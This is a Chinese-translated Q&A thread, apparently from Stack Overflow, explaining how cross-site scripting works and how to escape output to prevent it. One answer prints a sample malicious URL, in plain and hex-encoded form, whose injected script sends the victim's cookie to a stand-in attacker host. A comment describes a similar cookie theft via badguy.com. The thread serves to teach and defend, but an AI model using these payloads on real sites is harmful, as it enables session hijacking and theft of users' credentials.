XSS如何运作?

33 xss

有人可以解释XSS如何用简单的英语工作吗?也许举个例子.谷歌搜索没有多大帮助.

CMS*_*CMS 31

跨站点脚本基本上是动态网页的安全漏洞,攻击者可以创建恶意链接以将不需要的可执行JavaScript注入网站.在没有过滤或检查其内容的情况下打印或回显GET变量时,会出现此漏洞的最常见情况.

当受害者点击链接时,恶意代码可以将受害者的cookie发送到另一台服务器,或者它可以修改受影响的站点,注入表单,窃取用户名和密码以及其他网络钓鱼技术.

恶意链接示例:

http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
Run Code Online (Sandbox Code Playgroud)

编码恶意代码也很常见,例如以十六进制编码:

http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
Run Code Online (Sandbox Code Playgroud)

  • 这是过滤的好事!:P (4认同)
  • @CraigJacobs,攻击者将创建超链接,并将其发送给"受害者".受害者点击它,代码在他们的浏览器上执行.现在,诀窍是javascript的作用.它可以从页面中删除数据,或者获取用户的cookie,然后将其发送到其他地方.例如,它可能需要用户的cookie,并将用户重定向到www.badguy.com?cookies=cookiesHere2343rwerw.现在,badguy.com可以进入受害者的会话并做坏事. (2认同)

Mik*_*uel 19

只要应用程序外部的字符串可以解释为代码,就会存在XSS漏洞.

例如,如果您通过执行以下操作生成HTML:

<BODY>
  <?= $myQueryParameter ?>
</BODY>
Run Code Online (Sandbox Code Playgroud)

然后,如果$myQueryParameter变量包含<SCRIPT>标记,那么它将最终执行代码.

要防止输入作为代码执行,您需要正确地转义内容.

上述问题可以通过实现$myQueryParameter变量包含纯文本来解决,但是你不能只是将纯文本放到HTML中并期望它能够工作.

因此,您需要将纯文本转换为HTML,以便将其放入HTML页面.将一种语言的字符串转换为另一种语言以便可以嵌入的过程正在逃避.

您可以使用以下函数将纯文本转义为HTML:

function escapePlainTextToHTML(plainText) {
  return plainText.replace(/\0/g, '')
      .replace(/&/g, '&amp;')
      .replace(/</g, '&lt;')
      .replace(/>/g, '&gt;')
      .replace(/"/g, '&#34;')
      .replace(/'/g, '&#39;');
}
Run Code Online (Sandbox Code Playgroud)